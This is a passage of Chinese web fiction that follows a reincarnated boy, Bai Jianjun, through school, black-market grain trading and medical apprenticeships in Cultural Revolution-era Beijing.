苏萌听到夏建红提到自己，也意外的抬起头看了看夏建红的背影，之后又用期盼的眼神看向了叶老师。叶老师仍然没有表态，而是看着苏萌问道。 “苏萌同学，你愿意加入夏建红同学的学习小组么？” “我……我愿意！” 还带着泪痕的苏萌，站起来看着叶老师说道。 “那么，这件事就这么决定了。”叶老师对着夏建红和苏萌示意两人坐下，然后对着四年三班的所有同学说道。“大家在中午放学之前，将各学习小组的人员名单和地点都交给班长徐静理同学，之后再由徐静理同学记录好之后交给我！” 叶老师安排完之后，就又被叫去开会了，而四年三班的所有学生也都闲聊、打闹了起来，串座也就成了正常现象，这时候班级里已经没有秩序了。其实不仅仅四年三班，整个四年级，甚至整个学校，差不多都是一个样子。 “夏建红同学，谢谢你。” 苏萌串到了白建军身边，小声的对着前排的夏建红感谢道。 “是建军哥让我帮你的，你要谢，就谢他吧！” 听到夏建红的话，苏萌也是意外的看向了身边的男孩，然后突然自信的仰着头对着白建军说道。 “白建军同学，谢谢你！” “不用客气！” 白建军淡淡的说了一句之后，就趴在桌子上开始补觉了。 第7章 学习小组 开学第一天的上午，学生们都是在闲聊、打闹中度过的，等到了中午，学生们就开始放假了，因为教室要给另一波学生用了。由于孩子多，教室少、教师少，白建军他们还没开始上小学的时候，京城的中、小学就实行起了二部制。 所谓的二部制就是半天在学校上课，半天在家自习，当然学生所学的课程、回家的作业和全日制学生是没有任何差别的，只是体育、音乐、美术和写字等课程每周上课时数略少一些。 最开始实行二部制的时候，学生们根本没有一点自控的能力，不是在胡同里乱窜，就是上街去闲逛，这也引出了很多问题。由此也产生了学校组织学生们成立的“家庭学习小组”，以及街道设立的儿童活动站，许多厂矿、企业、机关的基层工会和区工人俱乐部都开展了多种多样的儿童校外活动。 白建军中午放学的时候就和夏建红在学校里等着任燕以及白建华、夏建国、田源他们，苏萌也在一个角落里等着同院的孩子过来找她。这一幕在学校中是普遍现象，一个院的孩子或者家住在附近的孩子，大多都是抱团在一起上学放学。 没等多大一会，先是四年一班的任燕，紧接着六年级的白建华他们三人也都过来了，几个孩子汇合之后就往外走，不过没等到校门口，就被外面敲锣打鼓的声音所吸引。 当然这个事也和白建军他们这几个孩子没关系，就他们几个的家庭成分，也就任燕以后能入了那些人的眼，白家、夏家、田家的几个孩子要是靠过去，不被欺负都算好的了。 白建军他们往自己家里走，在他们身后不远的苏萌也跟着两个六年级的学生一起往学校外面走。程建军在校门口的时候就和那些招新的红色青年聊了起来，韩春明见苏萌害怕则带着苏萌站到了不远的地方小声交谈。 “苏萌，你学习小组那事怎么样了？”站在苏萌身边的韩春明小声的问着苏萌。“需要我帮忙打听一下么？” “嗯，我已经有学习小组了。”苏萌说完，指了指前面不远的白建军他们。“跟我们班的同学，还有一班的一个女生一起。” 韩春明看了看白建军他们的背影，看着苏萌建议道。 “苏萌，他们跟咱们回家的路顺路，要不我们先陪你跟着过去认认门？” 早就留意这两人的程建军和招新的红色青年说了几句就走了过来，正好听到韩春明的建议。 “认谁家的门啊？” 苏萌和程建军说了一下自己已经有了学习小组，程建军骄傲的说道。 “春明说的对，咱们先过去认认门。看他们之中有几个也像是我们这个年级的，我和他们好好聊聊，让他们以后多照顾着你点儿。相信他们会给我这个一班班长面子的。” 说完，程建军就护着苏萌快步往前走，苏萌边走边甜甜的对着程建军感谢了一句。一旁的韩春明被程建军的操作弄的愣在了当地。这时候苏萌转头对韩春明笑着招呼了一声。韩春明虽然没有得到感谢，但是韩春明依然感到开心，也快步跟上了苏萌和程建军的脚步。 “前面的同学，等一等！” 白建军等人正在一边走一边说着今天班级的事，就听后面有招呼声传来，不过众人也没觉得是叫他们，也就没有回头去看。可是之后一个女孩子的声音传来，就让所有人的脚步都停了下来，向身后看去。 “白建军、夏建红，你们等一下！” 看到一个女生和两个男生冲着自己等人走过来，夏建国和田源直接先挡在了众人的前面。 “建国哥、田源哥，女生是我们同学苏萌。”白建军对着身前的两人说完，又看向了身边的夏建红小声说道。“就不该好心让她加入咱们的学习小组，这就是个麻烦精！” 白建军看着跟在苏萌身边的哼哈二将，不用猜都知道是韩春明和程建军。 “几位同学，我是六年一班的班长程建军。”程建军走到前面来，直接看着夏建国和田源介绍道。“你们是哪个班的？” “三班夏建国！” “四班田源！” “四班白建华！” 等程建军说完，几个大的都报了名字。 “哦，原来是这两个班啊，三班的XXX、四班的XXX都是我哥们儿！” 程建军四海的看着几人说道。 “不熟！” 田源直接一句话给程建军怼了回去。 “程建军同学，你有什么事么？” 夏建国看着程建军直接问道。 “几位同学，我是一班的韩春明！”韩春明见程建军被田源怼的尴尬了，这才走过来客气的说道。“我们院的苏萌同学和你们院的夏建红同学和白建军同学都是一个班的，她也加入到了她们的学习小组。我们看咱们都顺路，就想着先陪着苏萌同学到你们那边先认认门。” 听到韩春明的话，夏建国和田源的防备心才算放下了一些。 “早说啊，我以为什么事呢！”田源大大咧咧的说道。“我们院离得不远，有个20分钟就到了。” 事情说开了，众人就再次往家走去，不过还是一前一后两拨人。跟在苏萌身边的程建军隐晦的瞪了韩春明一眼，在韩春明看过来之后，又露出了一副微笑的表情。 走了好一会儿，两拨人也到了白建军他们家附近。程建军一到这边，看着周围的胡同，神态之中就有些不自然。正阳门这边住着很多人，三教九流都有，但是程建军可是知道，白建军他们家这附近住着的都是以公务员居多，程建军也收起了之前心中的不屑。 等到了家门口，白建军和白建华并没有直接回自己家，而是先到了夏家所在四合院的门口，夏建红也转身对着跟过来的苏萌说道。 “苏萌同学，这就是我们家，平时我们学习小组也是在这里自习。” “夏建红同学，谢谢你！” 苏萌客气的说道。 “各位同学，门我们也认得了，以后我们会准时送苏萌过来的。”程建军笑着夏建国众人说道。“咱们都是同学，以后常来往！” “那我们也就不留你们了！” 夏建国同样微笑的客气着说道。 在苏萌对着夏建红告别之后，程建军也笑着和众人道别，韩春明也客气的道别之后，三人这才往自己家那边走。离开了这片之后，程建军遗憾的对着苏萌说道。 “苏萌，咱们院就你一个四年级的，不然怎么着也不会让你往这边跑！” “谢谢建军哥！谢谢春明哥！” 苏萌甜甜的对着程建军和韩春明说道。 第8章 特殊年代的课本和学制 学校虽然开学了，社会上也安定了一些。不过学生们虽然回到了学校，但是也没有展开正常的教学工作。教师们现在都不知道按照什么教材教学。 开学一周多了，白建军也终于拿到了课本。复课之前的小学课程有语文、算术、体育、音乐、美术、劳动等几门课程，但是复课之后只剩下语文、算术这两门课有课本，而且课本上也清晰的写着《京城小学暂用课本》，配图也是很富有这个时代的气息。 美术课算是取消了，原因么就是白建军所在的小学没有这方面的老师；体育课、音乐课好一些，一周还能上一节，由音乐老师带领大家唱一些赞美的歌曲；至于劳动，鉴于目前的状态，学校并没有大规模的组织学生们参加劳动，平时也是帮着街道做一些力所能及的活。 白建军从拿到课本的那天算起，之后上学就是以趴桌子睡觉为主，叶老师也并没有多说什么。一是“学习无用论”是现在的主流，和白建军一样不学习的还有不少；二是白建军坐在倒数第二排，是那些“问题学生”中的一员，叶老师可不敢去家访，就算叫家长，叶老师都不知道叫谁，只要白建军不打扰到别人，叶老师也就放任自流了。白建军消停的睡觉总比那些不仅不好好学习，还影响别人的学生强。 到了下午，参加学习小组的时候，每次都是夏建红告诉白建军作业是什么，然后白建军就会以一手漂亮的字，快速的完成作业，剩下的时间，白建军就会以各种借口返回家中“睡懒觉”。 苏萌很是奇怪白建军的行为，但是夏建红和任燕却不以为意，她们俩都知道白建军现在每天都是在家里坚持锻炼力量和练拳，白建军上学睡觉也是因为白建军晚上也练拳到很晚。业精于勤荒于嬉，有白建军的表率作用，其他孩子现在也会在晚上跟着白建军一起锻炼一段时间。 虽然同在一个学习小组，夏建红和任燕有时候同样看不懂苏萌，苏萌在夏建红和任燕面前偶尔会表现出一丝自卑，但是在白建军，特别是在程建军和韩春明面前又会表现出那种莫名的骄傲。夏建红、任燕还真没有到同苏萌无话不说的地步，苏萌问起来白建军的事情的时候，夏建红和任燕也只是告诉苏萌，白建军可能是有些不好意思和她们三个女孩在一起待着，所以才避开。 恢复上课两个半月左右，学生们就迎来了寒假，学习小组也暂停了，新种花19年的春节来的比较早，就在一月底，白建军陪着白建华和李香秀渡过了来到这个世界的第一个年。白家这一年虽然经历了巨变，但是年还得过，而且因为白建军和白建华每个月都有一定数额的补助，李香秀也有生活费，所以白家现在的生活并不算差。 李香秀之前一直不同白占元这边来往，就是怕让本来就情况不好的白占元这边更加糟糕，但是白家还是出了事。现在正阳门这边的白家，或者说整个白家二房七爷这一支在国内就剩下白建华和白建军姐弟俩，李香秀也只能过来照顾姐弟二人。 不过除了白建军刚醒的那几天，李香秀陪了几天，后来李香秀还是返回了九道湾那边，只是偶尔过来一趟，或者姐弟两个过去。毕竟明面上李香秀和白建军姐弟没有血缘关系，所谓的亲属关系早在很多年前就被白占元斩断了。白建军姐弟在档案里是孤儿，是和孤寡老人李香秀结成对子，李香秀养白建军姐弟小，白建军姐弟养李香秀老。 尽管各种纷扰不断，但是这些事对白建军并没有什么影响，哪怕白建军有个成年人的灵魂，有着对一些大势模糊的了解，但在外人看来，白建军现在才12岁，还是个毛都没长齐的小孩。而且白建军现在想着的是怎么样活着，怎么样更好的活着，在保证自身安全的前提下低调的搞事。 新种花19年的9月，白建军升入到了小学五年级，而白建华和夏建国、田源以及留在学校的六年级和七年级生未经考试就直接就进升入到了初中。 新学期新气象，这点从小学外墙上的标语就体现了出来，都换成了语录中强调学制改革的话。 这几年社会快速的变化让人有些应接不暇，之前就有工作队到学校宣传要将之前新种花使用了多年的十二年一贯制，但是具体方案并没有落实。如今新的方案终于出炉了，初级阶段的教育也缩短为具有新种花特色的学制，即九年一贯制：小学5年，初中2年，高中2年。 白建军五年级的第一天，班主任叶老师就告诉了白建军，他们明年升入六年级后，会和他们下一届的同学一起升入中学，而他们的中学就是要遵循九年制。同样刚刚升入初中的白建华她们也面临着学制的变化，她的初中还是三年，但是高中则缩短成了2年。 对于现在这个时代的学生们来说，高中并不是一个好的选择，从军、进入工厂成为工人阶级才是大多数人的选择。不仅仅是因为这两条路意味着光荣，更是受到现实情况影响。 现在每个家庭里孩子都不少，少则两三个，多则六七个孩子，而养家的重任大多在父母身上。初中生毕业若是能进入工厂，有份稳定的工作，那就意味着家里不仅少了一个吃闲饭的，更是多出了一份收入，就是初中毕业的孩子从军，也减轻一部分家庭的负担。 这几年大学已经停止招生了，通往大学必经之路的高中就显得没有那么重要了，而和高中同等的中专，则是那些有门路的家庭的选择，因为中专毕业生都有一技之长，国家是会直接分配工作的。 白建军并不用考虑这些变化，因为其心中早已经给自己规划好了道路。 第9章 小买卖 白建军倒不是不爱学习，但是上一世作为一个中医学专业的研究生，不要说现在的小学课程，就是中学课程对于白建军来说都太简单了。而且还有一点是白建军一直担心的，就是恢复高考的时候，白建军是否有参加高考的机会以及是否会被录取，现在都不确定，主要原因还是因为白建军出身的这个问题。 还有一个问题是自从复课第一天知道徐静理之后，白建军就一直在想，祂们要让自己改变张桂芬的命运，可是这个世界是没有张桂芬的只有徐静理。那么改变徐静理的命运，是否能让白建军再次离开这个世界，从而到达大周完成自己的最终目标呢？ 白建军觉得有这个可能，但是难度很大。 不说现在的徐静理就比白建军要幸福的多的多的多，就是长大之后的徐静理，也有侯魁围在她周围各种“舔”。除了她那个亲爹，并没有什么让她闹心的事。 徐静理和苏萌都可以说是像“公主”一样长大的，她们俩还有很多的共同点。成长环境方面，不仅小时候有父母宠着，长大后还有矢志不渝的人爱着。家庭背景方面，无论是以后的徐家还是韩春明，都是京城房地产业拥有一席之地，而且家里面还都有个爱好“古玩”的长辈。苏萌也就现在处于低谷，可徐静理却一直都没有。 虽然白建军从李香秀那里知道，白家也有海外关系，但是白建军不敢确定，海外的白家会否能给与自己在商业上的支持。自己的“亲”爹白占元可是把白家在京城的不少老关系都得罪了，运动开始之前更是拒绝了海外亲人的帮助；京城白家和海外白家分开了这么久了，双方的关系可以说已经到了冰点。 让白建军穿越而来的祂们并没有告诉白建军怎么离开，所以白建军现在已经开始为将来的创业做准备了。机缘巧合之下，还真让白建军找到了一条路子，虽然是掉脑袋的路子。 老京城一直都有鬼市，从旧种花一直到当前这个时代都存在着。虽然有些东西都应当上缴，但是总会有心思活络或者有现实问题的人私自截留了一些东西。这些东西，一般的渠道是处理不了，最后只能拿到鬼市上换些钱、票以及粮食。 白建军是在拜访孙建芸先生的时候，遇到了先生教过的学生，也是这些师叔们带着白建军见识到了鬼市，也知道了鬼市的规矩：不问东西的来历；钱货两清之后哪怕是被打了眼，也只能自认倒霉；买，你就询价，不买，请你走人。 白建军见不少都是换粮食的，这也让白建军动了心。白家虽然没有多余的粮食，但是不代表郊区农村就没有多余的粮食。徐静理她们家小酒馆的酒可是纯粮食酿的，而且白建军还记得这是徐慧珍娘家那边的小烧锅出来的。 不过白建军想要干这个事，就绕不开李香秀。白建军联系不上粮食的渠道，但李香秀能。白建军自打开始练武，饭量就增多了，但是每家的定量就那么多，一个人多吃，别人就得少吃，但是李香秀从来没让姐弟俩饿着。 白建军跟李香秀深谈了一次，李香秀也被白建军的想法震惊的不行，在白建军的软磨硬泡下，李香秀才同意白建军干这个事，而且还亲自去了郊区的娘家找表侄朱厚拿粮。 李香秀之所以能同意白建军干这个掉脑袋的事，也是想到了白景琦。白景琦不也是胆大包天么，不也有用一泡屎换来了腾飞资本的经历么。逆境能压垮一个人，同样也能让一个人飞速的成长。现在的白家，恐怕已经是最低谷的时候了，还能有比现在更坏的结果只剩下死了。 随着白建军的几次尝试都成功了，白建军的胆子也越来越大。虽然这期间也遇到过准备欺负白建军的人，但是在白建军几下就卸了对面三个青年的关节之后，鬼市的老油条们也知道这位“矮个子娃娃脸”不是个善茬。 在鬼市混了一年多，白建军已经有了专门的“库房”，朱厚都带着老婆孩子搬到了城里给白建军当起了库管，而送粮的任务也落到了朱厚媳妇的娘家身上，甚至朱厚他们原来所在的村子整个的都参与到了这里面。农村亲戚到城里亲戚家送些土特产，换回点好东西，这本就是一件很正常的事，外人根本就没有说嘴的地方。 这一年多的鬼市生活，白建军见过太多的天黑之后还蒙着脸的人，拿着“大小黄鱼”或名家真迹以及其他东西换粮食、换肉的人了。白建军也收了不少好东西，其中令白建军最意外的竟然收到了几本集邮册，这些集邮册里竟然有2套全套的大龙票，而换到这些集邮册，只用了50斤高粱米和50斤棒子面。 也是这几本集邮册的出现，让白建军在明面上又有了一个集邮的爱好，而这个爱好也让白建军和徐静理有了更多的交流。慢慢的徐静理会让她的笔友们多带出来一些邮票，而徐静理在回信的时候，同样也会多夹一两张邮票。 多寄过来的邮票自然到了白建军这边，徐静理的邮票，也由白建军提供。白建军为此还借着参加劳动的机会，打通了邮局邮票发行那边的关系，当然白建军都是正常花钱购买，只是有关系总会能提前拿到即将发行的一些邮票。 当然，集邮册只是不起眼的一部分，光名家真迹就能有三十多卷，古书也有上百册，至于大、小黄鱼白建军也收了不少，直到新种花19年的年底，这些东西出现的才不那么频繁。因为伟大领袖发出指示：“知识青年到农村去，接受贫下中农再教育，很有必要。” 临近新年，各种工作队、宣讲组开始开进校园以及那些社会上的红色青年组织之中。街道、居委也挨家挨户的走访，动员知识青年响应伟大领袖的号召。 白家姐弟的年龄还小，并不在动员的行列，因为最少要初中毕业，才能算得上是知识青年。 第10章 上山下乡开始了 一切问题都是经济问题的延续。 新种花20年，刚过了春节不久，整个京城之内，每个街道都有敲锣打鼓欢送戴着大红花的知识青年们北上去接受“贫下中农再教育”。 白建军站在欢送的人群中，看着一个个比自己大了四五岁的大哥哥大姐姐们，他们的脸上都洋溢着别样的热情。临别场面，看似热闹但也有着辛酸：一边是宣传队热情洋溢的表演，知青们也满怀“广阔天地，大有作为”以及“广阔天地炼红心”的崇高觉悟及对未来的美好幻想；而另一边父母亲兄弟姐妹及亲朋好友都来送行，大家肩扛行李手拎用物，或牵或拉，有的父母对子女千叮万嘱，不少父母哭天喊地，现场透露着一股股悲凉的气氛。 欢送了一批又一批的知青奔赴祖国的边疆，白建军也迎来了自己开学的日子。 直到白建军放暑假期间，一条更加炸裂的消息让本就愤怒的情绪变成了慎重对待。鹰酱将毛熊准备在新种花家种蘑菇的事情直接登到了鹰酱的报纸上。鹰酱这可是变相的通知新种花家了，虽然普通百姓并不知道这个消息，但是架不住小道消息的传播啊。 当听到这个消息的时候，白建军虽然也有担心但是不多，毕竟白建军上一世有且唯一被在本国领土上种蘑菇的只有一个脚盆鸡。白建军虽然知道，但是也没有出去劝别人的意思，号召挖防空洞，大家就在家挖放空洞呗，就当扩大菜窖了。 再说白建军也不敢肯定，这一世和上一世会不会发生完全一样的事。因为谁也不敢去赌哪天毛熊的那位勋祖会否因为伏特加喝多了，大手一挥，让毛熊的百万大军就会高喊着“乌拉”突然杀过来。 各种防范措施相对应运而生，就连白建军的小学课程也增加了不少的军事训练项目，除了和中学一样的每天在操场上跑步、练队外，唯一的区别就是少了一年夏、冬两次要参加郊区野营拉练了。 不过随着时间的推移，虽然毛熊的百万大军并没有撤走，但是仗始终没有打起来。而且随着知青不断的离开，京城竟然难得的平静了下来，街上再也没有突然冒出来两拨带着家伙事的年轻人了。 到了种花20年的年底，一部神书的出版，也让白家姐弟的命运迎来了第一次的转折。 “建军，你这是又拿回来什么了？”刚刚从外面回来的白建军，直接就被白建华拦住，并且把白建军的军绿色书包直接拿了过去。“怎么是这么厚的一本书？《赤脚医生手册》？” “姐，这是刚刚出版的！”白建军一把接过白建华扔过来的书包看着白建华说道。“伟大领袖不是都说了么：赤脚医生就是好！我这不是按照他老人家的指示办么！” “我还不知道你？”白建华白了白建军一眼，然后翻看了几下手里的《手册》。“这本书被没收了！” “姐，这本书可不便宜，你可别弄坏了。”白建军看着回屋的白建华赶紧说道。 “2块2？”白建华看了看《手册》后面的定价，又看了看白建军。“确实不便宜，但是值！” “你们两个在说什么呢？”李香秀听到白建军的动静，就从里屋出来的。“建军，饭快好了，你去隔壁叫他们过来吃饭吧！” “好勒，我去叫他们！” 白建军说完，转身就走了出去。而留下的李香秀也看到白建华手里那本厚厚的红色《手册》。李香秀看着《手册》的名字，又看了看白建华，心里不由的想到。 “白家的闺女，又有一个要走上这条路了。” 白建军出门左拐就到了隔壁四合院。现在四合院里除了孩子，一个大人都不在京城。任燕他爸任大力跟着厂子里很多人出差去了天府之国，田源他爸田志远又到干校参加劳动去了，而夏建国他妈也就是高兰医生，只告诉夏建国她要出任务，至于具体去哪高兰则没说。 几家的大人们也不得不拜托李香秀照顾孩子们一段时间。虽然几个大的孩子都上学，也能做饭，但是夏家还有个6岁的夏小妹，高兰一出任务，家里连个送小妹上幼儿园的人都没有。 “建国哥、田源哥、建红、燕子、小妹！开饭啦！” 白建军走进小四合院就吆喝了一声。夏建国和田源从田家走了出来，夏建红、任燕领着夏小妹也从夏家走了出来。大家汇合之后就去了白家吃饭。 “还是吃饱了才有力气！”吃完饭的田源信誓旦旦的说道。“真恨不得早生几年，那样我也能到北方的前线去保家卫国去了。” “显的你！”白建华看着田源白了他一眼。“野营拉练的时候，忘了自己是什么样子了？” “建华，那不是我没吃饱，没有力气么!哪像现在！” 田源想到自己野营拉练那时候累的瘫在路边，还是夏建国和白建华把他拉到终点的事，面上就有些脸红。 “田源哥，前线有那么多人呢，哪能轮到你啊。”夏小妹嘲笑着田源说道。 “小妹，你可别看不起你田源哥我，我爸可是教了我不少呢！” 田源看着夏小妹得意的说道。 可是谁也没想到，夏小妹没有回答，反而开始抽泣，眼泪一下子就流了下来。 “小妹，你怎么了？”白建华赶紧站起来走到田源身边，作势打了几下。“你田源哥惹到你了？我打他给你出气！” “我想爸爸、妈妈了！” 夏小妹低着头咬着嘴唇抽泣道。 “小妹，爸爸、妈妈就快回来了。”夏建红也赶紧抱着夏小妹哄着说道。 “哥，姐姐说的是真的么？” 夏小妹抬头看了看夏建红，又看向了夏建国问道。 “等春暖花开的时候，爸爸妈妈就能回来啦！”、 夏建国肯定的说道。 种花21年春，种花终于解除了一级战备，而夏建国的爸爸妈妈，也真像夏建国说的那样回到了京城。白建军也迎来小学六年级最后一个学期。 第11章 人生的岔路口 白建华自从得到了《赤脚医生手册》就如获至宝一样，每天上学都带着，一有时间就认真研读，为此白建军不得不再花钱买了一本。李香秀见白建华姐弟对学医感兴趣，就把白建华和白建军姐弟俩安排到了百草厅跟着老师傅们学艺。这也就是李香秀知道郑三旦在武斗中被人打碎了右胳膊，人也已经被调离了百草厅这才放心让姐弟俩去学艺。 李香秀虽然不希望白建军姐弟学医，但是反过来想，姐弟俩学医，无论是学中医还是学西医也都算承袭了白家的传统了。做为长辈尽量给晚辈铺好路，让晚辈尽量能走的顺畅一些，一直都是种花家千百年来的传统。 哪怕公私合营，百草厅的工作模式仍然没有太大的变化，白家当初用的方法就是细分工序，每个人就干“一角活”，就负责把自己的活干好，干精，这让百草厅药工的工作效率比其他药铺药工们的工作效率高的多。 白建军姐弟到百草厅，除了学习草药的辨认、炮制工艺，另外就是和坐堂的师父学习中医四诊的本事，至于针灸方面，李香秀也找了药行的里面的名家教授白建军姐弟。 百草厅现在是公家的了和白家再无任何关系，但是百草厅的大多数职工和伙计都还是原来白家百草厅的老人儿或者是他们的子侄，他们之中的不少人都感念七老太太和白家曾经对他们的好，所以对于白建军姐弟俩来做学徒，也愿意倾囊相授。他们只是有些手艺，而且这些手艺从根子上来说都是白家人传给他们祖上的，现在也无非是在将这些本事重新在还给白家人。 在这些药工们心里，虽然有“教会徒弟，饿死师父”、“父死子继”那一套，但是这一套不适用于白建军姐弟身上。大家心里都明镜似的，白家走出去了那么多人，要是有人说秘方和工艺没有被白家人带出去，那这话狗都不信。现在各家的孩子都不少，百草厅的规模虽然也不算小，但是若是不扩大生产，百草厅可安排不了家里所有的孩子。外面的白家人说不准什么时候就有回来的一天，这时候结个善缘，没准到时候就会用到。 “学军、学工、学农”是这个时期针对学生们教育的指导思想。学军方面，中学的每个班都是以X连X排作为代替，平日里也有很多训练项目；学农方面，学校会定期组织学生们到郊区参加农业劳动；学工方面，学校会请工厂的工人来学校教学生们或是组织学生们到工厂跟着工人师傅们学习。 像白建华和白建军这样的自己找单位学习的学生也不在少数，而且白建华姐弟的这种积极的表现，还让两人在学校里被当成是思想进步的表现，使得姐弟二人身上的“资本家孝子贤孙”属性减弱了很多，也让他们身上的“革命军人”后代属性得到了突出。不过也不是没人有诟病姐弟俩，主要还是他们和夏家、田家的子女走的近，不然校内的红色青年组织一定会吸收姐弟俩加入进去的。 种花21年9月，白建军和所有京城五、六年级的小学生一样，结束了小学的学业，免试升入了中学。同时白建华也和大多数八年级和九年级的中学生面临了人生的选择。 从学校领导、老师到工宣队都反复动员学生们支援边疆建设，街道也参与到其中，给这些即将毕业的学生们的家长做思想工作。当然上山下乡是绝大多数学生的选择，但并不是唯一的选择。 中学毕业的学生可以选择参军或者进入工厂参加工作，甚至仍然可以选择进入高中学习两年。但是前两个选择除了看个人家庭出身，还要看在校表现，只有那些正攵氵台思想过硬、平常表现积极的学生才能得到推荐，有了推荐仍需要招兵的领导或是招工的工厂挑选才能走上被参军或者进厂的路，而选择进入高中再学习两年，除了思想和日常表现，文化课水平也是一个重要的参照物。 在这个“读书无用论”盛行的时期，中学两年书本上能学到的知识可以说是寥寥无几，学生们大量的时间都用在了“学军、学工、学农”上面，中学毕业能参军或进入工厂的一个排都不一定能有一个学生，大多学生都是被动员“接受贫下中农再教育”的对象。 上山下乡的学生即将步入新的征程，而白建华以及隔壁四合院的田源和夏建国都没有选择下乡。 田源原本是想当兵来着，但是正攵审这关就没通过，哪怕他妈曹慧是杂志的编辑都没用，田志远现在还在干校参加劳动呢。至于下乡，因为田源是田家的独子，暂时也不在动员之列，就算下乡曹慧也觉得可以选择在高中之后再走； 夏家孩子多，夏建国原本应当直接下乡的，但是有高兰这个军队医院的医生在，街道考虑了之后，就没有直接让夏建国下乡，而且夏默也希望夏建国能继续学习，在夏默看来，大学教育早晚会恢复的，不如早做准备，所以夏建国也直接升高中了； 白建华的情况比较特殊。白家姐弟渐渐大了，街道也不能一直给白家姐弟俩补贴，白家现在最需要的是有个人出来参加工作，白建军还小，还能领两年补助，所以白建华出于个人喜好以及家人的建议选择参加中专考试，并顺利的考进了护士学校。 报考中专的学生不少，录取的则非常少，万里挑一称不上，但是千里挑一绝对不足以形容中专的录取率。虽然初中毕业也能进工厂工作，但是那也只是当最普通的工人，而中专毕业生则可能直接进入工厂当个小领导或者技术骨干，在24级工资制度之下，可以说一个天一个地，所以这是大多数家庭改变命运的契机。 对于别的家庭来说文化课是最难的，但是对于白建华来说可没有什么难度，白建军这两年把高中的知识都提前对白建华讲了很多，这才得以让白建华能在众多参加中专的考生中杀了出来。唯一麻烦的也就是正攵审这关，但是这个有隔壁院的曹慧、高兰给做证明，白建华在成分上算“革命军人”子弟也说得过去。 种花21年9月，白家以及隔壁四合院的几个大的孩子都踏上了不同的道路。 第12章 中学生活开始啦 尽管听哥哥姐姐们说了很多初中的情况，可当白建军第一次走进中学的时候，面对的却是校园里满院墙形形色色的大字报和仍然激情洋溢的高年级学生，空气中《东方红》和《大海航行靠舵手》等革命的音乐不绝于耳，仿佛置身于一个热闹非凡的大集市一样。 第一天报到，等待学生们的不仅是老师，还有军人宣传队和工人宣传队，学校把所有的班级改编为部队的编制序列，一个班被叫做“排”，白建军所在的班级是八连五排。 这一次徐静理、夏建红、任燕、苏萌等白建军熟悉的同学都没有和白建军分到一个班级，不过在同学们做自我介绍的时候，两个女同学的名字还是稍微引起了白建军的注意，她们一个叫叶菲一个叫杨树影，而叶菲正好是白建军的同桌。 “同学们，你们现在已经升入了中学，以后你们就是八连五排的战士了！”军宣队的干事站在讲台上激励着所有同学们说道。“你们在向伟大事业接班人前进的道路上，又迈出了坚定的一步，……” 所有同学在军宣队干事讲话之后都热烈的鼓掌，白建军也不得不做出一副激动的样子。等工宣队的干事也讲完话之后，两人才离开了白建军所在的班级去了下一个班级，而不大功夫，另一个班级也迎来了一阵又一阵的掌声。 “根据你们所在小学提供的个人信息，校革委会认为常建国同学是我们八连五排排长的不二人选。” 在台上的班主任楼玉芬老师说完之后，一个长的黑瘦的男孩直接站了起来。 “战友们，大家好！我是常建国！”常建国说完，还对着所有同学敬了个军礼。“感谢组织将排长的重任交给我，在今后的日子里，我一定担负好排长的责任，不辜负组织对我的期望！” 楼老师看着常建国笑着点了点头，在常建国坐下之后，又宣布了几名班长的人选，这次白建军也成为了一名班长，而白建军的主要任务就是负责八连五排的卫生安排及检查工作，换句话说就是以前的卫生委员。 “战友们，大家好，我是白建军！”这次轮到白建军表态了，在听到自己的名字之后，白建军同样站起来说道。“感谢老师及排组织对我的信任，让我负责这么重要的工作，我会一定会辅助好楼老师、常建国排长做好我们排的卫生工作，并在拉练及劳动中，保障好我们排所有战士的身体健康，不使一个人掉队。” …… “刚刚听到排里的所有干部发言之后，这让我对八连五排更有信心了！”在所有排干部都说了一遍之后，楼老师激动的对着所有学生们说道。“我们八连五排一定是个团结的集体、是个充满战斗力的集体！” 开学的第一天，除了老师、排集体、军宣队、工宣队的各种讲话就是分发课本。这次的课本终于不再是试用课本了，不过教材的变动也很大：语文和思想合二为一变成了《伟大领袖思想教育》；算术、英语还都做了保留，只是内容上有了很大的时代性；物理、化学、生物则变成了《工业基础知识》、《农业基础知识》；美术和音乐变成了《革命文艺》；体育课则变成了《军事体育》，当然最重要的劳动课一直没有改变。 每一本课本发下来之后，白建军都快速的翻看一遍，刨除掉里面大量的“语录”，中学知识的难度还不如白建军前世小学生们学的，看完一遍之后白建军也就把学习的事情放在了一边。 临近上午放学，楼老师看着所有的五排的同学们说道。 “五排的战士们，中午需要留下几名战士出一下咱们排的板报，有哪位战士自愿报名么？” 在这个重在表现的时代，听到楼老师这么说，不仅排集体全员举手报名，就是不少其他同学也都积极报名，令白建军有些意外的是自己的同桌叶菲尽管有些胆怯，但还是把手举了起来。 “大家这么积极踊跃，我很高兴！”楼老师满意的看着八连五排的战士们说道。“不过这次任务艰巨，这次老师我先按照你们小学提供的资料，让白建军、叶菲以及常建国同学留下完成这次任务，在之后的日子里战士们都有机会参与到这项任务中来。” 五排排长常建国的文笔、五排班长白建军的板书以及五排战士叶菲的画，构成了八连五排的第一次板报“伟大领袖万岁！”白建军能感觉出来常建国这名排长是真的发自内心的崇敬伟大领袖，虽然白建军也尊敬伟大领袖，但是照比常建国差的太多太多了。常建国也是这个时代无数人中的一个缩影。 在板报完成后，常建国特意找来楼老师，楼老师对于三人出的这个板报非常满意。 “常排长、白班长，老师对你们的这次任务完成情况很满意。”楼老师面带笑容的看着常建国和白建军说完之后，转头收起了笑容，严肃的看着叶菲说道。“叶菲，老师最开始是不想让你参与这次重大的任务的，但你是属于‘可教育好的子女’，所以老师才给了你这次机会，你的表现也证明老师的判断没有问题。” 面对严肃的班主任楼玉芬，叶菲刚开始一直都低着头，手也紧张的不知道放在哪里，当听到楼老师的肯定之后，叶菲有些惊喜的抬起头看向了楼玉芬。 “不过你也不要因为此事就骄傲自满，以后更要虚心接受老师和战友们的批评教育！多向常建国排长、白建军班长学习。”楼玉芬见叶菲抬起头教育道。“常建国排长我就不多介绍了，我和你说一下白建军班长！” “伟大领袖教导我们说：把我们的朋友搞得多多的、把我们的敌人搞得少少的。”念了一句语录，楼玉芬看了看不卑不亢的白建军又看着叶菲继续教育道。“白建军班长虽然出身不好，但是其勇于和其家庭彻底划清界限，全心投入到革命工作之中。其从小学开始，就利用业余时间进入工厂努力学习一技之长，受到了工厂和学校的一致好评，这也是老师让白建军当班长的原因。” “老师希望你能以白建军班长为榜样，不仅要提高自己的思想觉悟，更要身体力行的去做！”看着再次低下头叶菲，楼玉芬语气有些严厉问道。“叶菲！老师的话，你记住了么？” “楼老师，我记住了，我以后都会以常排长和白班长为榜样，努力向他们学习！” 叶菲低着头小声的说道。 “不要辜负老师对你的期望！” 